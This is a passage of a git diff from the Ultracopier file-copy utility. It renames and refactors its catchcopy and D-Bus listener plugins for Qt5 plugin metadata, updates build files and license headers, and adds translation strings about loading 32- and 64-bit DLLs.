- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, orderId: "+QString::number(orderId)+", withError: "+QString::number(withError));
- server.copyFinished(orderId,withError);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, orderId: "+QString::number(orderId)+", withError: "+QString::number(withError));
+ server.copyFinished(orderId,withError);
}
-void CatchCopyPlugin::transferCanceled(quint32 orderId)
+void Listener::transferCanceled(const quint32 &orderId)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, orderId: "+QString::number(orderId));
- server.copyCanceled(orderId);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, orderId: "+QString::number(orderId));
+ server.copyCanceled(orderId);
}
/// \brief to reload the translation, because the new language have been loaded
-void CatchCopyPlugin::newLanguageLoaded()
+void Listener::newLanguageLoaded()
+{
+}
+
+void Listener::errorInternal(const QString &string)
+{
+ Q_UNUSED(string);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"warning emited from Catchcopy lib: "+string);
+}
+
+void Listener::communicationErrorInternal(const QString &string)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"warning emited from Catchcopy lib: "+string);
+ emit error(string);
+}
+
+void Listener::clientName(quint32 client,QString name)
+{
+ Q_UNUSED(client);
+ Q_UNUSED(name);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("clientName: %1, for the id: %2").arg(name).arg(client));
+}
+
+void Listener::copyWithoutDestination(const quint32 &orderId,const QStringList &sources)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("copyWithoutDestination(%1,%2)").arg(orderId).arg(sources.join(";")));
+ emit newCopyWithoutDestination(orderId,sources);
+}
+
+void Listener::copy(const quint32 &orderId,const QStringList &sources,const QString &destination)
{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("copy(%1,%2,%3)").arg(orderId).arg(sources.join(";")).arg(destination));
+ emit newCopy(orderId,sources,destination);
}
-void CatchCopyPlugin::error(QString error)
+void Listener::moveWithoutDestination(const quint32 &orderId,const QStringList &sources)
{
- Q_UNUSED(error);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"warning emited from Catchcopy lib: "+error);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("moveWithoutDestination(%1,%2)").arg(orderId).arg(sources.join(";")));
+ emit newMoveWithoutDestination(orderId,sources);
}
-void CatchCopyPlugin::clientName(quint32 client,QString name)
+void Listener::move(const quint32 &orderId,const QStringList &sources,const QString &destination)
{
- Q_UNUSED(client);
- Q_UNUSED(name);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("clientName: %1, for the id: %2").arg(name).arg(client));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("move(%1,%2,%3)").arg(orderId).arg(sources.join(";")).arg(destination));
+ emit newMove(orderId,sources,destination);
}
diff --git a/plugins/Listener/catchcopy-v0002/listener.h b/plugins/Listener/catchcopy-v0002/listener.h
index 0ef0dc7..8956abc 100755..100644
--- a/plugins/Listener/catchcopy-v0002/listener.h
+++ b/plugins/Listener/catchcopy-v0002/listener.h
@@ -1,62 +1,59 @@
/** \file listener.h
\brief Define the server compatible with Ultracopier interface
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef SERVER_H
#define SERVER_H
-#include <QObject>
+#include <QString>
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+#include <QtPlugin>
+#endif
#include "Environment.h"
#include "../../../interface/PluginInterface_Listener.h"
#include "catchcopy-api-0002/ServerCatchcopy.h"
/// \brief Define the server compatible with Ultracopier interface
-class CatchCopyPlugin : public PluginInterface_Listener
+class Listener : public PluginInterface_Listener
{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_Listener)
+ Q_OBJECT
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.Listener/1.0.0.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_Listener)
+ #endif
public:
- CatchCopyPlugin();
- /// \brief try listen the copy/move
- void listen();
- /// \brief stop listen to copy/move
- void close();
- /// \brief return the error strong
- const QString errorString();
- /// \brief set resources for this plugins
- void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion);
- /// \brief to get the options widget, NULL if not have
- QWidget * options();
+ Listener();
+ /// \brief try listen the copy/move
+ void listen();
+ /// \brief stop listen to copy/move
+ void close();
+ /// \brief return the error strong
+ const QString errorString() const;
+ /// \brief set resources for this plugins
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion);
+ /// \brief to get the options widget, NULL if not have
+ QWidget * options();
+ /// \brief to get a client list
+ QStringList clientsList() const;
public slots:
- /// \brief say to the client that's the copy/move is finished
- void transferFinished(quint32 orderId,bool withError);
- /// \brief say to the client that's the copy/move is finished
- void transferCanceled(quint32 orderId);
- /// \brief to reload the translation, because the new language have been loaded
- void newLanguageLoaded();
+ /// \brief say to the client that's the copy/move is finished
+ void transferFinished(const quint32 &orderId,const bool &withError);
+ /// \brief say to the client that's the copy/move is finished
+ void transferCanceled(const quint32 &orderId);
+ /// \brief to reload the translation, because the new language have been loaded
+ void newLanguageLoaded();
private:
- ServerCatchcopy server;
+ ServerCatchcopy server;
private slots:
- void error(QString error);
- void clientName(quint32 client,QString name);
-signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- /// \brief new state
- void newState(ListeningState state);
- /// \brief new copy is incoming
- void newCopy(quint32 orderId,QStringList sources);
- /// \brief new copy is incoming, with destination
- void newCopy(quint32 orderId,QStringList sources,QString destination);
- /// \brief new move is incoming
- void newMove(quint32 orderId,QStringList sources);
- /// \brief new move is incoming, with destination
- void newMove(quint32 orderId,QStringList sources,QString destination);
+ void errorInternal(const QString &string);
+ void communicationErrorInternal(const QString &string);
+ void clientName(quint32 client,QString name);
+ void copyWithoutDestination(const quint32 &orderId,const QStringList &sources);
+ void copy(const quint32 &orderId,const QStringList &sources,const QString &destination);
+ void moveWithoutDestination(const quint32 &orderId,const QStringList &sources);
+ void move(const quint32 &orderId,const QStringList &sources,const QString &destination);
};
#endif // SERVER_H
diff --git a/plugins/Listener/catchcopy-v0002/listener.pro b/plugins/Listener/catchcopy-v0002/listener.pro
index 5903fa4..f1706c5 100644
--- a/plugins/Listener/catchcopy-v0002/listener.pro
+++ b/plugins/Listener/catchcopy-v0002/listener.pro
@@ -1,6 +1,11 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
TEMPLATE = lib
CONFIG += plugin
QT += network
+win32:LIBS += -ladvapi32
HEADERS = listener.h \
catchcopy-api-0002/VariablesCatchcopy.h \
catchcopy-api-0002/ServerCatchcopy.h \
@@ -14,4 +19,3 @@ SOURCES = listener.cpp \
catchcopy-api-0002/ServerCatchcopy.cpp \
catchcopy-api-0002/ExtraSocketCatchcopy.cpp
TARGET = $$qtLibraryTarget(listener)
-
diff --git a/plugins/Listener/catchcopy-v0002/plugin.json b/plugins/Listener/catchcopy-v0002/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/Listener/catchcopy-v0002/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/Listener/dbus/Catchcopy.cpp b/plugins/Listener/dbus/Catchcopy.cpp
index 792563a..6c46af2 100644
--- a/plugins/Listener/dbus/Catchcopy.cpp
+++ b/plugins/Listener/dbus/Catchcopy.cpp
@@ -1,15 +1,17 @@
#include "Catchcopy.h"
+#include <QCoreApplication>
+
Catchcopy::Catchcopy()
{
}
-void Catchcopy::copy(QStringList sources,QString destination)
+void Catchcopy::copy(const QStringList &sources,const QString &destination)
{
emit newCopy(0,sources,destination);
}
-void Catchcopy::move(QStringList sources,QString destination)
+void Catchcopy::move(const QStringList &sources,const QString &destination)
{
emit newMove(0,sources,destination);
}
diff --git a/plugins/Listener/dbus/Catchcopy.h b/plugins/Listener/dbus/Catchcopy.h
index 6151ebd..d28a253 100644
--- a/plugins/Listener/dbus/Catchcopy.h
+++ b/plugins/Listener/dbus/Catchcopy.h
@@ -10,11 +10,11 @@ class Catchcopy : public QObject
public:
explicit Catchcopy();
signals:
- void newCopy(quint32 id,QStringList sources,QString destination);
- void newMove(quint32 id,QStringList sources,QString destination);
+ void newCopy(const quint32 &id,const QStringList &sources,const QString &destination);
+ void newMove(const quint32 &id,const QStringList &sources,const QString &destination);
public slots:
- Q_SCRIPTABLE void copy(QStringList sources,QString destination);
- Q_SCRIPTABLE void move(QStringList sources,QString destination);
+ Q_SCRIPTABLE void copy(const QStringList &sources,const QString &destination);
+ Q_SCRIPTABLE void move(const QStringList &sources,const QString &destination);
};
#endif // CATCHCOPY_H
diff --git a/plugins/Listener/dbus/DebugEngineMacro.h b/plugins/Listener/dbus/DebugEngineMacro.h
index a3dd648..4582010 100644
--- a/plugins/Listener/dbus/DebugEngineMacro.h
+++ b/plugins/Listener/dbus/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/Listener/dbus/Environment.h b/plugins/Listener/dbus/Environment.h
index 94fd104..265a5a6 100644
--- a/plugins/Listener/dbus/Environment.h
+++ b/plugins/Listener/dbus/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/Listener/dbus/Variable.h b/plugins/Listener/dbus/Variable.h
index 8179c93..963d0c8 100644
--- a/plugins/Listener/dbus/Variable.h
+++ b/plugins/Listener/dbus/Variable.h
@@ -1,8 +1,7 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
diff --git a/plugins/Listener/dbus/documentation.dox b/plugins/Listener/dbus/documentation.dox
index a15792a..3cda8ec 100755..100644
--- a/plugins/Listener/dbus/documentation.dox
+++ b/plugins/Listener/dbus/documentation.dox
@@ -6,25 +6,29 @@
*/
/*!
- \mainpage catchcopy-v0002
+ \mainpage dbus
\section mainpage_overview Overview
- Is the default listener to wait a copy/move. It use the catchcopy protocol.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ It's alternative listener for linux, it's very more simpler. You send just your copy/move, no more. No return.\n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
You can found link on <a href="http://ultracopier.first-world.info/">Ultracopier (Supercopier/Teracopy)</a> project page, via git, snapshot sources, ...
- \section mainpage_algorithm Protocol
+ \section mainpage_algorithm Dbus method
- The protocol in version 0.0.0.2 is used, you can see the documentation on <a href="http://catchcopy.first-world.info/">Catchcopy web site</a>
+ you have this method exported to dbus:
+ <ul>
+ <li>void copy(const QStringList &sources,const QString &destination)</li>
+ <li>void move(const QStringList &sources,const QString &destination)</li>
+ </ul>
\section license GPL Version 3
The code source is under GPL3. The image is extacted from Oxygen icon pack of KDE4.
diff --git a/plugins/Listener/dbus/informations.xml b/plugins/Listener/dbus/informations.xml
index 846cd36..0b836ed 100644
--- a/plugins/Listener/dbus/informations.xml
+++ b/plugins/Listener/dbus/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Listener for catchcopy in dbus. Allow to receive copy list from plugin/explorer compatible with catchcopy.]]></description>
<description xml:lang="fr"><![CDATA[Écouteur pour catchcopy en dbus. Permet de recevoir un liste de copie venant d'un plugin/explorateur avec catchcopy.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>dbus</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/Listener/dbus/listener.cpp b/plugins/Listener/dbus/listener.cpp
index 2f23638..50ed196 100755..100644
--- a/plugins/Listener/dbus/listener.cpp
+++ b/plugins/Listener/dbus/listener.cpp
@@ -1,86 +1,85 @@
-#include <QtCore>
-#include <QMessageBox>
-
#include "listener.h"
-CatchCopyPlugin::CatchCopyPlugin()
+Listener::Listener()
{
- connect(&catchcopy,SIGNAL(newCopy(quint32,QStringList,QString)), this,SIGNAL(newCopy(quint32,QStringList,QString)));
- connect(&catchcopy,SIGNAL(newMove(quint32,QStringList,QString)), this,SIGNAL(newMove(quint32,QStringList,QString)));
+ connect(&catchcopy,&Catchcopy::newCopy, this,&Listener::newCopy);
+ connect(&catchcopy,&Catchcopy::newMove, this,&Listener::newMove);
}
-void CatchCopyPlugin::listen()
+void Listener::listen()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if (!QDBusConnection::sessionBus().isConnected())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newState(NotListening);
- return;
- }
- if (!QDBusConnection::sessionBus().registerService("info.first-world.catchcopy"))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QDBusConnection::sessionBus().lastError().message());
- emit newState(NotListening);
- return;
- }
- emit newState(FullListening);
- QDBusConnection::sessionBus().registerObject("/", &catchcopy, QDBusConnection::ExportAllSlots);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if (!QDBusConnection::sessionBus().isConnected())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit newState(Ultracopier::NotListening);
+ return;
+ }
+ if (!QDBusConnection::sessionBus().registerService("info.first-world.catchcopy"))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QDBusConnection::sessionBus().lastError().message());
+ emit newState(Ultracopier::NotListening);
+ return;
+ }
+ if(!QDBusConnection::sessionBus().registerObject("/", &catchcopy, QDBusConnection::ExportAllSlots))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QDBusConnection::sessionBus().lastError().message());
+ emit newState(Ultracopier::NotListening);
+ return;
+ }
+ emit newState(Ultracopier::FullListening);
}
-void CatchCopyPlugin::close()
+void Listener::close()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QDBusConnection::sessionBus().unregisterObject("/");
- QDBusConnection::sessionBus().unregisterService("info.first-world.catchcopy");
- emit newState(NotListening);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ QDBusConnection::sessionBus().unregisterObject("/");
+ QDBusConnection::sessionBus().unregisterService("info.first-world.catchcopy");
+ emit newState(Ultracopier::NotListening);
}
-const QString CatchCopyPlugin::errorString()
+const QString Listener::errorString() const
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- return "Unknow error";
+ return "Unknow error";
}
-void CatchCopyPlugin::setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion)
+void Listener::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion)
{
- Q_UNUSED(options);
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- Q_UNUSED(portableVersion);
+ Q_UNUSED(options);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ Q_UNUSED(portableVersion);
}
/// \brief to get the options widget, NULL if not have
-QWidget * CatchCopyPlugin::options()
+QWidget * Listener::options()
{
- return NULL;
+ return NULL;
}
-Q_EXPORT_PLUGIN2(listener, CatchCopyPlugin);
-
-void CatchCopyPlugin::transferFinished(quint32 orderId,bool withError)
+void Listener::transferFinished(const quint32 &orderId,const bool &withError)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, orderId: "+QString::number(orderId)+", withError: "+QString::number(withError));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, orderId: "+QString::number(orderId)+", withError: "+QString::number(withError));
}
-void CatchCopyPlugin::transferCanceled(quint32 orderId)
+void Listener::transferCanceled(const quint32 &orderId)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, orderId: "+QString::number(orderId));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, orderId: "+QString::number(orderId));
}
/// \brief to reload the translation, because the new language have been loaded
-void CatchCopyPlugin::newLanguageLoaded()
+void Listener::newLanguageLoaded()
{
}
-void CatchCopyPlugin::error(QString error)
+void Listener::error(QString error)
{
- Q_UNUSED(error);
+ Q_UNUSED(error);
}
-void CatchCopyPlugin::clientName(quint32 client,QString name)
+void Listener::clientName(quint32 client,QString name)
{
- Q_UNUSED(client);
- Q_UNUSED(name);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("clientName: %1, for the id: %2").arg(name).arg(client));
+ Q_UNUSED(client);
+ Q_UNUSED(name);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("clientName: %1, for the id: %2").arg(name).arg(client));
}
diff --git a/plugins/Listener/dbus/listener.h b/plugins/Listener/dbus/listener.h
index fd3db2e..fcb95cd 100755..100644
--- a/plugins/Listener/dbus/listener.h
+++ b/plugins/Listener/dbus/listener.h
@@ -1,8 +1,7 @@
/** \file listener.h
\brief Define the server compatible with Ultracopier interface
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef SERVER_H
#define SERVER_H
@@ -16,49 +15,35 @@
#include "../../../interface/PluginInterface_Listener.h"
/// \brief Define the server compatible with Ultracopier interface
-class CatchCopyPlugin : public PluginInterface_Listener
+class Listener : public PluginInterface_Listener
{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_Listener)
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.Listener/1.0.0.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_Listener)
public:
- CatchCopyPlugin();
- /// \brief try listen the copy/move
- void listen();
- /// \brief stop listen to copy/move
- void close();
- /// \brief return the error strong
- const QString errorString();
- /// \brief set resources for this plugins
- void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion);
- /// \brief to get the options widget, NULL if not have
- QWidget * options();
+ Listener();
+ /// \brief try listen the copy/move
+ void listen();
+ /// \brief stop listen to copy/move
+ void close();
+ /// \brief return the error strong
+ const QString errorString() const;
+ /// \brief set resources for this plugins
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion);
+ /// \brief to get the options widget, NULL if not have
+ QWidget * options();
public slots:
- /// \brief say to the client that's the copy/move is finished
- void transferFinished(quint32 orderId,bool withError);
- /// \brief say to the client that's the copy/move is finished
- void transferCanceled(quint32 orderId);
- /// \brief to reload the translation, because the new language have been loaded
- void newLanguageLoaded();
+ /// \brief say to the client that's the copy/move is finished
+ void transferFinished(const quint32 &orderId,const bool &withError);
+ /// \brief say to the client that's the copy/move is finished
+ void transferCanceled(const quint32 &orderId);
+ /// \brief to reload the translation, because the new language have been loaded
+ void newLanguageLoaded();
private:
- Catchcopy catchcopy;
+ Catchcopy catchcopy;
private slots:
- void error(QString error);
- void clientName(quint32 client,QString name);
-signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- /// \brief new state
- void newState(ListeningState state);
- /// \brief new copy is incoming
- void newCopy(quint32 orderId,QStringList sources);
- /// \brief new copy is incoming, with destination
- void newCopy(quint32 orderId,QStringList sources,QString destination);
- /// \brief new move is incoming
- void newMove(quint32 orderId,QStringList sources);
- /// \brief new move is incoming, with destination
- void newMove(quint32 orderId,QStringList sources,QString destination);
+ void error(QString error);
+ void clientName(quint32 client,QString name);
};
#endif // SERVER_H
diff --git a/plugins/Listener/dbus/listener.pro b/plugins/Listener/dbus/listener.pro
index 304d8d2..59abd12 100644
--- a/plugins/Listener/dbus/listener.pro
+++ b/plugins/Listener/dbus/listener.pro
@@ -1,6 +1,6 @@
TEMPLATE = lib
-CONFIG += plugin qdbus
-QT += network
+CONFIG += plugin
+QT += network dbus
HEADERS = listener.h \
Environment.h \
Variable.h \
@@ -11,4 +11,3 @@ HEADERS = listener.h \
SOURCES = listener.cpp \
Catchcopy.cpp
TARGET = $$qtLibraryTarget(listener)
-
diff --git a/plugins/Listener/dbus/plugin.json b/plugins/Listener/dbus/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/Listener/dbus/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/PluginLoader/catchcopy-v0002/DebugEngineMacro.h b/plugins/PluginLoader/catchcopy-v0002/DebugEngineMacro.h
index ad08d4f..f9b5349 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/DebugEngineMacro.h
+++ b/plugins/PluginLoader/catchcopy-v0002/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/PluginLoader/catchcopy-v0002/Environment.h b/plugins/PluginLoader/catchcopy-v0002/Environment.h
index 94fd104..265a5a6 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/Environment.h
+++ b/plugins/PluginLoader/catchcopy-v0002/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/ar/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/ar/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/ar/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/ar/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/de/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/de/translation.ts
index b27aefe..dd3552b 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/de/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/de/translation.ts
@@ -5,8 +5,14 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation>Im Normalfall ist für 32 oder 64-Bit-Beriebsysteme nur die jeweilige dll wichtig. Die UAC kann geöffnet werden um die dll zu laden.</translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
- <translation>Alle DLLs sind importants</translation>
+ <translatorcomment>fix english</translatorcomment>
+ <translation>Alle DLLs sind wichtig (32Bit + 64Bit)</translation>
</message>
</context>
</TS>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/el/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/el/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/el/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/el/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/en/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/en/translation.ts
new file mode 100644
index 0000000..e4aa3ce
--- /dev/null
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/en/translation.ts
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+<context>
+ <name>OptionsWidget</name>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
+ <source>All the dlls are importants</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/es/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/es/translation.ts
index 4629456..577444d 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/es/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/es/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation>Todas las dlls son importantes</translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/fr/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/fr/translation.ts
index 40efc6d..809ffee 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/fr/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/fr/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation>Dans la plupart des cas, seule la DLL 64 bits est importante pour un OS 64 bits, et la DLL 32 bits pour un OS 32 bits. Lorsqu&apos;elle est importante,le chargement d&apos;une DLL peut nécessiter une confirmation (UAC).</translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation>Toutes les dlls sont importantes</translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/hi/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/hi/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/hi/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/hi/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/hu/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/hu/translation.ts
new file mode 100644
